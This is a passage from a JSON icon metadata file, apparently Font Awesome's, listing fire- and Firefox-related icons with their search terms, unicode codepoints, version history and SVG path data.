        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M159.3 5.4c7.8-7.3 19.9-7.2 27.7 .1c27.6 25.9 53.5 53.8 77.7 84c11-14.4 23.5-30.1 37-42.9c7.9-7.4 20.1-7.4 28 .1c34.6 33 63.9 76.6 84.5 118c20.3 40.8 33.8 82.5 33.8 111.9C448 404.2 348.2 512 224 512C98.4 512 0 404.1 0 276.5c0-38.4 17.8-85.3 45.4-131.7C73.3 97.7 112.7 48.6 159.3 5.4zM225.7 416c25.3 0 47.7-7 68.8-21c42.1-29.4 53.4-88.2 28.1-134.4c-4.5-9-16-9.6-22.5-2l-25.2 29.3c-6.6 7.6-18.5 7.4-24.7-.5c-16.5-21-46-58.5-62.8-79.8c-6.3-8-18.3-8.1-24.7-.1c-33.8 42.5-50.8 69.3-50.8 99.4C112 375.4 162.6 416 225.7 416z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M159.3 5.4c7.8-7.3 19.9-7.2 27.7 .1c27.6 25.9 53.5 53.8 77.7 84c11-14.4 23.5-30.1 37-42.9c7.9-7.4 20.1-7.4 28 .1c34.6 33 63.9 76.6 84.5 118c20.3 40.8 33.8 82.5 33.8 111.9C448 404.2 348.2 512 224 512C98.4 512 0 404.1 0 276.5c0-38.4 17.8-85.3 45.4-131.7C73.3 97.7 112.7 48.6 159.3 5.4zM225.7 416c25.3 0 47.7-7 68.8-21c42.1-29.4 53.4-88.2 28.1-134.4c-4.5-9-16-9.6-22.5-2l-25.2 29.3c-6.6 7.6-18.5 7.4-24.7-.5c-16.5-21-46-58.5-62.8-79.8c-6.3-8-18.3-8.1-24.7-.1c-33.8 42.5-50.8 69.3-50.8 99.4C112 375.4 162.6 416 225.7 416z"
      }
    },
    "free": ["solid"]
  },
  "fire-burner": {
    "changes": ["6.1.0", "6.1.2", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["cook", "fire", "flame", "kitchen", "stove"]
    },
    "styles": ["solid"],
    "unicode": "e4f1",
    "label": "Fire Burner",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M293.5 3.8c19.7 17.8 38.2 37 55.5 57.7c7.9-9.9 16.8-20.7 26.5-29.5c5.6-5.1 14.4-5.1 20 0c24.7 22.7 45.6 52.7 60.4 81.1c14.5 28 24.2 58.8 24.2 79C480 280 408.7 352 320 352c-89.7 0-160-72.1-160-159.8c0-26.4 12.7-60.7 32.4-92.6c20-32.4 48.1-66.1 81.4-95.8c2.8-2.5 6.4-3.8 10-3.7c3.5 0 7 1.3 9.8 3.8zM370 273c30-21 38-63 20-96c-2-4-4-8-7-12l-36 42s-58-74-62-79c-30 37-45 58-45 82c0 49 36 78 81 78c18 0 34-5 49-15zM32 288c0-17.7 14.3-32 32-32H96c17.7 0 32 14.3 32 32s-14.3 32-32 32v64H544V320c-17.7 0-32-14.3-32-32s14.3-32 32-32h32c17.7 0 32 14.3 32 32v96c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32V288zM320 480a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm160-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM192 480a32 32 0 1 0 0-64 32 32 0 1 0 0 64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M293.5 3.8c19.7 17.8 38.2 37 55.5 57.7c7.9-9.9 16.8-20.7 26.5-29.5c5.6-5.1 14.4-5.1 20 0c24.7 22.7 45.6 52.7 60.4 81.1c14.5 28 24.2 58.8 24.2 79C480 280 408.7 352 320 352c-89.7 0-160-72.1-160-159.8c0-26.4 12.7-60.7 32.4-92.6c20-32.4 48.1-66.1 81.4-95.8c2.8-2.5 6.4-3.8 10-3.7c3.5 0 7 1.3 9.8 3.8zM370 273c30-21 38-63 20-96c-2-4-4-8-7-12l-36 42s-58-74-62-79c-30 37-45 58-45 82c0 49 36 78 81 78c18 0 34-5 49-15zM32 288c0-17.7 14.3-32 32-32H96c17.7 0 32 14.3 32 32s-14.3 32-32 32v64H544V320c-17.7 0-32-14.3-32-32s14.3-32 32-32h32c17.7 0 32 14.3 32 32v96c17.7 0 32 14.3 32 32v64c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32V416c0-17.7 14.3-32 32-32V288zM320 480a32 32 0 1 0 0-64 32 32 0 1 0 0 64zm160-32a32 32 0 1 0 -64 0 32 32 0 1 0 64 0zM192 480a32 32 0 1 0 0-64 32 32 0 1 0 0 64z"
      }
    },
    "free": ["solid"]
  },
  "fire-extinguisher": {
    "aliases": {
      "unicodes": {
        "composite": ["1f9ef"],
        "secondary": ["10f134"]
      }
    },
    "changes": ["3.1.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "burn",
        "caliente",
        "extinguish",
        "fire",
        "fire extinguisher",
        "fire fighter",
        "flame",
        "heat",
        "hot",
        "quench",
        "rescue"
      ]
    },
    "styles": ["solid"],
    "unicode": "f134",
    "label": "Fire Extinguisher",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767443,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M500.3 7.3C507.7 13.3 512 22.4 512 32v96c0 9.6-4.3 18.7-11.7 24.7s-17.2 8.5-26.6 6.6l-160-32C301.5 124.9 292 115.7 289 104H224v34.8c37.8 18 64 56.5 64 101.2V384H64V240c0-44.7 26.2-83.2 64-101.2V110c-36.2 11.1-66 36.9-82.3 70.5c-5.8 11.9-20.2 16.9-32.1 11.1S-3.3 171.4 2.5 159.5C26.7 109.8 72.7 72.6 128 60.4V32c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V56h65c3-11.7 12.5-20.9 24.7-23.4l160-32c9.4-1.9 19.1 .6 26.6 6.6zM288 416v32c0 35.3-28.7 64-64 64H128c-35.3 0-64-28.7-64-64V416H288zM176 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M500.3 7.3C507.7 13.3 512 22.4 512 32v96c0 9.6-4.3 18.7-11.7 24.7s-17.2 8.5-26.6 6.6l-160-32C301.5 124.9 292 115.7 289 104H224v34.8c37.8 18 64 56.5 64 101.2V384H64V240c0-44.7 26.2-83.2 64-101.2V110c-36.2 11.1-66 36.9-82.3 70.5c-5.8 11.9-20.2 16.9-32.1 11.1S-3.3 171.4 2.5 159.5C26.7 109.8 72.7 72.6 128 60.4V32c0-17.7 14.3-32 32-32h32c17.7 0 32 14.3 32 32V56h65c3-11.7 12.5-20.9 24.7-23.4l160-32c9.4-1.9 19.1 .6 26.6 6.6zM288 416v32c0 35.3-28.7 64-64 64H128c-35.3 0-64-28.7-64-64V416H288zM176 96a16 16 0 1 0 0-32 16 16 0 1 0 0 32z"
      }
    },
    "free": ["solid"]
  },
  "fire-flame-curved": {
    "aliases": {
      "names": ["fire-alt"],
      "unicodes": {
        "secondary": ["10f7e4"]
      }
    },
    "changes": ["5.6.3", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["burn", "caliente", "flame", "heat", "hot", "popular"]
    },
    "styles": ["solid"],
    "unicode": "f7e4",
    "label": "Fire Flame Curved",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767661,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M153.6 29.9l16-21.3C173.6 3.2 180 0 186.7 0C198.4 0 208 9.6 208 21.3V43.5c0 13.1 5.4 25.7 14.9 34.7L307.6 159C356.4 205.6 384 270.2 384 337.7C384 434 306 512 209.7 512H192C86 512 0 426 0 320v-3.8c0-48.8 19.4-95.6 53.9-130.1l3.5-3.5c4.2-4.2 10-6.6 16-6.6C85.9 176 96 186.1 96 198.6V288c0 35.3 28.7 64 64 64s64-28.7 64-64v-3.9c0-18-7.2-35.3-19.9-48l-38.6-38.6c-24-24-37.5-56.7-37.5-90.7c0-27.7 9-54.8 25.6-76.9z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M153.6 29.9l16-21.3C173.6 3.2 180 0 186.7 0C198.4 0 208 9.6 208 21.3V43.5c0 13.1 5.4 25.7 14.9 34.7L307.6 159C356.4 205.6 384 270.2 384 337.7C384 434 306 512 209.7 512H192C86 512 0 426 0 320v-3.8c0-48.8 19.4-95.6 53.9-130.1l3.5-3.5c4.2-4.2 10-6.6 16-6.6C85.9 176 96 186.1 96 198.6V288c0 35.3 28.7 64 64 64s64-28.7 64-64v-3.9c0-18-7.2-35.3-19.9-48l-38.6-38.6c-24-24-37.5-56.7-37.5-90.7c0-27.7 9-54.8 25.6-76.9z"
      }
    },
    "free": ["solid"]
  },
  "fire-flame-simple": {
    "aliases": {
      "names": ["burn"],
      "unicodes": {
        "secondary": ["10f46a"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["caliente", "energy", "fire", "flame", "gas", "heat", "hot"]
    },
    "styles": ["solid"],
    "unicode": "f46a",
    "label": "Fire Flame Simple",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767662,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M372.5 256.5l-.7-1.9C337.8 160.8 282 76.5 209.1 8.5l-3.3-3C202.1 2 197.1 0 192 0s-10.1 2-13.8 5.5l-3.3 3C102 76.5 46.2 160.8 12.2 254.6l-.7 1.9C3.9 277.3 0 299.4 0 321.6C0 426.7 86.8 512 192 512s192-85.3 192-190.4c0-22.2-3.9-44.2-11.5-65.1zm-90.8 49.5c4.1 9.3 6.2 19.4 6.2 29.5c0 53-43 96.5-96 96.5s-96-43.5-96-96.5c0-10.1 2.1-20.3 6.2-29.5l1.9-4.3c15.8-35.4 37.9-67.7 65.3-95.1l8.9-8.9c3.6-3.6 8.5-5.6 13.6-5.6s10 2 13.6 5.6l8.9 8.9c27.4 27.4 49.6 59.7 65.3 95.1l1.9 4.3z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M372.5 256.5l-.7-1.9C337.8 160.8 282 76.5 209.1 8.5l-3.3-3C202.1 2 197.1 0 192 0s-10.1 2-13.8 5.5l-3.3 3C102 76.5 46.2 160.8 12.2 254.6l-.7 1.9C3.9 277.3 0 299.4 0 321.6C0 426.7 86.8 512 192 512s192-85.3 192-190.4c0-22.2-3.9-44.2-11.5-65.1zm-90.8 49.5c4.1 9.3 6.2 19.4 6.2 29.5c0 53-43 96.5-96 96.5s-96-43.5-96-96.5c0-10.1 2.1-20.3 6.2-29.5l1.9-4.3c15.8-35.4 37.9-67.7 65.3-95.1l8.9-8.9c3.6-3.6 8.5-5.6 13.6-5.6s10 2 13.6 5.6l8.9 8.9c27.4 27.4 49.6 59.7 65.3 95.1l1.9 4.3z"
      }
    },
    "free": ["solid"]
  },
  "firefox": {
    "changes": ["4.4.0", "5.0.0", "5.0.1", "5.12.0"],
    "ligatures": [],
    "search": {
      "terms": ["browser"]
    },
    "styles": ["brands"],
    "unicode": "f269",
    "label": "Firefox",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014472,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M503.52,241.48c-.12-1.56-.24-3.12-.24-4.68v-.12l-.36-4.68v-.12a245.86,245.86,0,0,0-7.32-41.15c0-.12,0-.12-.12-.24l-1.08-4c-.12-.24-.12-.48-.24-.6-.36-1.2-.72-2.52-1.08-3.72-.12-.24-.12-.6-.24-.84-.36-1.2-.72-2.4-1.08-3.48-.12-.36-.24-.6-.36-1-.36-1.2-.72-2.28-1.2-3.48l-.36-1.08c-.36-1.08-.84-2.28-1.2-3.36a8.27,8.27,0,0,0-.36-1c-.48-1.08-.84-2.28-1.32-3.36-.12-.24-.24-.6-.36-.84-.48-1.2-1-2.28-1.44-3.48,0-.12-.12-.24-.12-.36-1.56-3.84-3.24-7.68-5-11.4l-.36-.72c-.48-1-.84-1.8-1.32-2.64-.24-.48-.48-1.08-.72-1.56-.36-.84-.84-1.56-1.2-2.4-.36-.6-.6-1.2-1-1.8s-.84-1.44-1.2-2.28c-.36-.6-.72-1.32-1.08-1.92s-.84-1.44-1.2-2.16a18.07,18.07,0,0,0-1.2-2c-.36-.72-.84-1.32-1.2-2s-.84-1.32-1.2-2-.84-1.32-1.2-1.92-.84-1.44-1.32-2.16a15.63,15.63,0,0,0-1.2-1.8L463.2,119a15.63,15.63,0,0,0-1.2-1.8c-.48-.72-1.08-1.56-1.56-2.28-.36-.48-.72-1.08-1.08-1.56l-1.8-2.52c-.36-.48-.6-.84-1-1.32-1-1.32-1.8-2.52-2.76-3.72a248.76,248.76,0,0,0-23.51-26.64A186.82,186.82,0,0,0,412,62.46c-4-3.48-8.16-6.72-12.48-9.84a162.49,162.49,0,0,0-24.6-15.12c-2.4-1.32-4.8-2.52-7.2-3.72a254,254,0,0,0-55.43-19.56c-1.92-.36-3.84-.84-5.64-1.2h-.12c-1-.12-1.8-.36-2.76-.48a236.35,236.35,0,0,0-38-4H255.14a234.62,234.62,0,0,0-45.48,5c-33.59,7.08-63.23,21.24-82.91,39-1.08,1-1.92,1.68-2.4,2.16l-.48.48H124l-.12.12.12-.12a.12.12,0,0,0,.12-.12l-.12.12a.42.42,0,0,1,.24-.12c14.64-8.76,34.92-16,49.44-19.56l5.88-1.44c.36-.12.84-.12,1.2-.24,1.68-.36,3.36-.72,5.16-1.08.24,0,.6-.12.84-.12C250.94,20.94,319.34,40.14,367,85.61a171.49,171.49,0,0,1,26.88,32.76c30.36,49.2,27.48,111.11,3.84,147.59-34.44,53-111.35,71.27-159,24.84a84.19,84.19,0,0,1-25.56-59,74.05,74.05,0,0,1,6.24-31c1.68-3.84,13.08-25.67,18.24-24.59-13.08-2.76-37.55,2.64-54.71,28.19-15.36,22.92-14.52,58.2-5,83.28a132.85,132.85,0,0,1-12.12-39.24c-12.24-82.55,43.31-153,94.31-170.51-27.48-24-96.47-22.31-147.71,15.36-29.88,22-51.23,53.16-62.51,90.36,1.68-20.88,9.6-52.08,25.8-83.88-17.16,8.88-39,37-49.8,62.88-15.6,37.43-21,82.19-16.08,124.79.36,3.24.72,6.36,1.08,9.6,19.92,117.11,122,206.38,244.78,206.38C392.77,503.42,504,392.19,504,255,503.88,250.48,503.76,245.92,503.52,241.48Z"
      }
    },
    "free": ["brands"]
  },
  "firefox-browser": {
    "changes": ["5.12.0", "5.14.0"],
    "ligatures": [],
    "search": {
      "terms": ["browser"]
    },
    "styles": ["brands"],
    "unicode": "e007",
    "label": "Firefox Browser",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M130.22 127.548C130.38 127.558 130.3 127.558 130.22 127.548V127.548ZM481.64 172.898C471.03 147.398 449.56 119.898 432.7 111.168C446.42 138.058 454.37 165.048 457.4 185.168C457.405 185.306 457.422 185.443 457.45 185.578C429.87 116.828 383.098 89.1089 344.9 28.7479C329.908 5.05792 333.976 3.51792 331.82 4.08792L331.7 4.15792C284.99 30.1109 256.365 82.5289 249.12 126.898C232.503 127.771 216.219 131.895 201.19 139.035C199.838 139.649 198.736 140.706 198.066 142.031C197.396 143.356 197.199 144.87 197.506 146.323C197.7 147.162 198.068 147.951 198.586 148.639C199.103 149.327 199.76 149.899 200.512 150.318C201.264 150.737 202.096 150.993 202.954 151.071C203.811 151.148 204.676 151.045 205.491 150.768L206.011 150.558C221.511 143.255 238.408 139.393 255.541 139.238C318.369 138.669 352.698 183.262 363.161 201.528C350.161 192.378 326.811 183.338 304.341 187.248C392.081 231.108 368.541 381.784 246.951 376.448C187.487 373.838 149.881 325.467 146.421 285.648C146.421 285.648 157.671 243.698 227.041 243.698C234.541 243.698 255.971 222.778 256.371 216.698C256.281 214.698 213.836 197.822 197.281 181.518C188.434 172.805 184.229 168.611 180.511 165.458C178.499 163.75 176.392 162.158 174.201 160.688C168.638 141.231 168.399 120.638 173.51 101.058C148.45 112.468 128.96 130.508 114.8 146.428H114.68C105.01 134.178 105.68 93.7779 106.25 85.3479C106.13 84.8179 99.022 89.0159 98.1 89.6579C89.5342 95.7103 81.5528 102.55 74.26 110.088C57.969 126.688 30.128 160.242 18.76 211.318C14.224 231.701 12 255.739 12 263.618C12 398.318 121.21 507.508 255.92 507.508C376.56 507.508 478.939 420.281 496.35 304.888C507.922 228.192 481.64 173.82 481.64 172.898Z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M130.22 127.548C130.38 127.558 130.3 127.558 130.22 127.548V127.548ZM481.64 172.898C471.03 147.398 449.56 119.898 432.7 111.168C446.42 138.058 454.37 165.048 457.4 185.168C457.405 185.306 457.422 185.443 457.45 185.578C429.87 116.828 383.098 89.1089 344.9 28.7479C329.908 5.05792 333.976 3.51792 331.82 4.08792L331.7 4.15792C284.99 30.1109 256.365 82.5289 249.12 126.898C232.503 127.771 216.219 131.895 201.19 139.035C199.838 139.649 198.736 140.706 198.066 142.031C197.396 143.356 197.199 144.87 197.506 146.323C197.7 147.162 198.068 147.951 198.586 148.639C199.103 149.327 199.76 149.899 200.512 150.318C201.264 150.737 202.096 150.993 202.954 151.071C203.811 151.148 204.676 151.045 205.491 150.768L206.011 150.558C221.511 143.255 238.408 139.393 255.541 139.238C318.369 138.669 352.698 183.262 363.161 201.528C350.161 192.378 326.811 183.338 304.341 187.248C392.081 231.108 368.541 381.784 246.951 376.448C187.487 373.838 149.881 325.467 146.421 285.648C146.421 285.648 157.671 243.698 227.041 243.698C234.541 243.698 255.971 222.778 256.371 216.698C256.281 214.698 213.836 197.822 197.281 181.518C188.434 172.805 184.229 168.611 180.511 165.458C178.499 163.75 176.392 162.158 174.201 160.688C168.638 141.231 168.399 120.638 173.51 101.058C148.45 112.468 128.96 130.508 114.8 146.428H114.68C105.01 134.178 105.68 93.7779 106.25 85.3479C106.13 84.8179 99.022 89.0159 98.1 89.6579C89.5342 95.7103 81.5528 102.55 74.26 110.088C57.969 126.688 30.128 160.242 18.76 211.318C14.224 231.701 12 255.739 12 263.618C12 398.318 121.21 507.508 255.92 507.508C376.56 507.508 478.939 420.281 496.35 304.888C507.922 228.192 481.64 173.82 481.64 172.898Z"
      }
    },
    "free": ["brands"]
  },
  "first-order": {
    "changes": ["4.6.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f2b0",
    "label": "First Order",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014482,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M12.9 229.2c.1-.1.2-.3.3-.4 0 .1 0 .3-.1.4h-.2zM224 96.6c-7.1 0-14.6.6-21.4 1.7l3.7 67.4-22-64c-14.3 3.7-27.7 9.4-40 16.6l29.4 61.4-45.1-50.9c-11.4 8.9-21.7 19.1-30.6 30.9l50.6 45.4-61.1-29.7c-7.1 12.3-12.9 25.7-16.6 40l64.3 22.6-68-4c-.9 7.1-1.4 14.6-1.4 22s.6 14.6 1.4 21.7l67.7-4-64 22.6c3.7 14.3 9.4 27.7 16.6 40.3l61.1-29.7L97.7 352c8.9 11.7 19.1 22.3 30.9 30.9l44.9-50.9-29.5 61.4c12.3 7.4 25.7 13.1 40 16.9l22.3-64.6-4 68c7.1 1.1 14.6 1.7 21.7 1.7 7.4 0 14.6-.6 21.7-1.7l-4-68.6 22.6 65.1c14.3-4 27.7-9.4 40-16.9L274.9 332l44.9 50.9c11.7-8.9 22-19.1 30.6-30.9l-50.6-45.1 61.1 29.4c7.1-12.3 12.9-25.7 16.6-40.3l-64-22.3 67.4 4c1.1-7.1 1.4-14.3 1.4-21.7s-.3-14.9-1.4-22l-67.7 4 64-22.3c-3.7-14.3-9.1-28-16.6-40.3l-60.9 29.7 50.6-45.4c-8.9-11.7-19.1-22-30.6-30.9l-45.1 50.9 29.4-61.1c-12.3-7.4-25.7-13.1-40-16.9L241.7 166l4-67.7c-7.1-1.2-14.3-1.7-21.7-1.7zM443.4 128v256L224 512 4.6 384V128L224 0l219.4 128zm-17.1 10.3L224 20.9 21.7 138.3v235.1L224 491.1l202.3-117.7V138.3zM224 37.1l187.7 109.4v218.9L224 474.9 36.3 365.4V146.6L224 37.1zm0 50.9c-92.3 0-166.9 75.1-166.9 168 0 92.6 74.6 167.7 166.9 167.7 92 0 166.9-75.1 166.9-167.7 0-92.9-74.9-168-166.9-168z"
      }
    },
    "free": ["brands"]
  },
  "first-order-alt": {
    "changes": ["5.0.12"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f50a",
    "label": "Alternate First Order",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014470,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 61.64a193.85 193.85 0 0 1-37.22-37.28l61.59-54.9-74.26 35.93a191.638 191.638 0 0 1-20.14-48.69l77.84-27.11-82.23 4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 488.21C115.34 496.21 7.79 388.66 7.79 256S115.34 15.79 248 15.79 488.21 123.34 488.21 256 380.66 496.21 248 496.21zm0-459.92C126.66 36.29 28.29 134.66 28.29 256S126.66 475.71 248 475.71 467.71 377.34 467.71 256 369.34 36.29 248 36.29zm0 431.22c-116.81 0-211.51-94.69-211.51-211.51S131.19 44.49 248 44.49 459.51 139.19 459.51 256 364.81 467.51 248 467.51zm186.23-162.98a191.613 191.613 0 0 1-20.13 48.69l-74.13-35.88 61.48 54.82a193.515 193.515 0 0 1-37.2 37.29l-54.8-61.57 35.88 74.27a190.944 190.944 0 0 1-48.63 20.23l-27.29-78.47 4.79 82.93c-8.61 1.18-17.4 1.8-26.33 1.8s-17.72-.62-26.33-1.8l4.76-82.46-27.15 78.03a191.365 191.365 0 0 1-48.65-20.2l35.93-74.34-54.87 